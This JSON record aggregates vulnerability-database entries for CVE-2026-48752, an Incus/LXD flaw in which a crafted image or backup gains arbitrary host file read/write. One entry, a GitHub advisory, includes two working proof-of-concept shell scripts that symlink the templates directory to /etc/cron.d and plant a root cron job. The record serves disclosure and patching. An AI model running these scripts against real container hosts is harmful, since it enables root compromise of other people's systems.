{"id":"EUVD-2026-63979","revision":null,"records":[{"revision":"12f27f4e89064177b232c8138023889a","observedAt":"2026-11-06T01:36:41.27+00:00","statement":{"source":"cve-program","id":"CVE-2026-48752","aliases":[],"title":"Incus has arbitrary file read+write on host via templates/ symlink in malicious image","description":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.","state":0,"publishedAt":"2026-08-21T14:31:57.555+00:00","modifiedAt":"2026-11-05T23:18:42.042+00:00","affected":[{"ecosystem":"Vendor product","name":"incus","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"lxc\",\n                    \"product\": \"incus\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 7.2.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"},{"ecosystem":"Vendor product","name":"lxd","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"canonical\",\n                    \"product\": \"lxd\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 4.0.0, < 4.0.11\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 5.0.0, < 5.0.7\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 5.1.0, < 5.21.5\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 6.0.0, < 6.9.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479","https://github.com/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-48752","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-48752","identifiers":["CVE-2026-48752"]},"retained":false,"historicalAffected":[]},{"revision":"525c3a9f1bc542859e0c836c412cd1ab","observedAt":"2026-11-15T14:08:27.581+00:00","statement":{"source":"euvd","id":"EUVD-2026-63979","aliases":["CVE-2026-48752","GHSA-vxp5-584q-c479"],"title":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. …","description":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. 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Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-63979","identifiers":["EUVD-2026-63979","CVE-2026-48752","GHSA-vxp5-584q-c479"]},"retained":false,"historicalAffected":[]},{"revision":"3adc6f5e34a241938bfd721d1cf122b3","observedAt":"2026-11-06T15:03:32.566+00:00","statement":{"source":"nvd","id":"CVE-2026-48752","aliases":[],"title":"Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. …","description":"Incus is a system container and virtual machine manager. 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Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-48752","identifiers":["CVE-2026-48752"]},"retained":false,"historicalAffected":[]},{"revision":"09aada210e0c4809b93ec844c0b20fae","observedAt":"2026-11-06T11:13:14.598+00:00","statement":{"source":"osv","id":"GHSA-vxp5-584q-c479","aliases":["CVE-2026-48752","GO-2026-5803"],"title":"Incus has arbitrary file read+write on host via templates/ symlink in malicious image","description":"### Summary\n\nA specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nFor container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.\n\nFor instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.\n\nIn practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.\n\n\n### PoC\n\n#### Malicious container image\n\nBelow, the templates directory is  mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/templates\"\ncat<<__EOF__>\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC templates symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar\nincus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink\nincus init afrw-image-templates-symlink afrw-image-templates-symlink\n\nincus config template ls afrw-image-templates-symlink\n\n# read\n#incus config template show afrw-image-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id>/pwned'\\n\" | incus config template create afrw-image-templates-symlink poc-32\n#incus config template edit afrw-image-templates-symlink poc\n```\n\n#### Malicious instance backup\n\n\nBelow, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/backup\"\ncat<<__EOF__>\"${tmpdir}/img/backup/index.yaml\"\nname: afrw-backup-templates-symlink\nbackend: dir\npool: default\ntype: container\noptimized: false\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container\"\ncat<<__EOF__>\"${tmpdir}/img/backup/container/backup.yaml\"\ncontainer:\n  name: afrw-backup-templates-symlink\n  architecture: x86_64\n  type: container\n  status: Stopped\n  status_code: 102\n  stateful: false\n  ephemeral: false\n  profiles:\n    - default\n  config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  expanded_config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  devices: {}\n  expanded_devices:\n    root:\n      path: /\n      pool: default\n      type: disk\n  created_at: \"2024-01-01T00:00:00Z\"\n  last_used_at: \"2024-01-01T00:00:00Z\"\nvolume:\n  name: afrw-backup-templates-symlink\n  type: container\n  content_type: filesystem\n  config: {}\npool:\n  name: default\n  driver: dir\n  config: {}\n__EOF__\n\ncat<<__EOF__>\"${tmpdir}/img/backup/container/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: afrw-backup-templates-symlink\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/backup/container/templates\"\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar\nincus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink\n\nincus config template ls afrw-backup-templates-symlink\n\n# read\n#incus config template show afrw-backup-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c 'id>/pwned'\\n\" | incus config template create afrw-backup-templates-symlink poc-32\n#incus config template edit afrw-templates-symlink poc\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.","state":0,"publishedAt":"2026-06-26T18:46:31+00:00","modifiedAt":"2026-11-06T10:57:01.8879198+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus/v7/cmd/incusd","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38","https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479","https://nvd.nist.gov/vuln/detail/CVE-2026-48752","https://github.com/lxc/incus"],"sourceUrl":"https://github.com/advisories/GHSA-vxp5-584q-c479","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-vxp5-584q-c479","identifiers":["GHSA-vxp5-584q-c479","CVE-2026-48752","GO-2026-5803"]},"retained":false,"historicalAffected":[]},{"revision":"8bee6016e4764ab889268c123d20a03c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5803","aliases":["CVE-2026-48752","GHSA-vxp5-584q-c479"],"title":"Incus has arbitrary file read+write on host via templates/ symlink in malicious image in github.com/lxc/incus","description":"Incus has arbitrary file read+write on host via templates/ symlink in malicious image in github.com/lxc/incus","state":0,"publishedAt":"2026-07-07T16:41:46+00:00","modifiedAt":"2026-07-07T20:30:16.2821382+00:00","affected":[{"ecosystem":"Go","name":"github.com/lxc/incus","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v6","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"github.com/lxc/incus/v7","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"7.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5803","license":"OSV · upstream source license applies","key":"osv:GO-2026-5803","identifiers":["GO-2026-5803","CVE-2026-48752","GHSA-vxp5-584q-c479"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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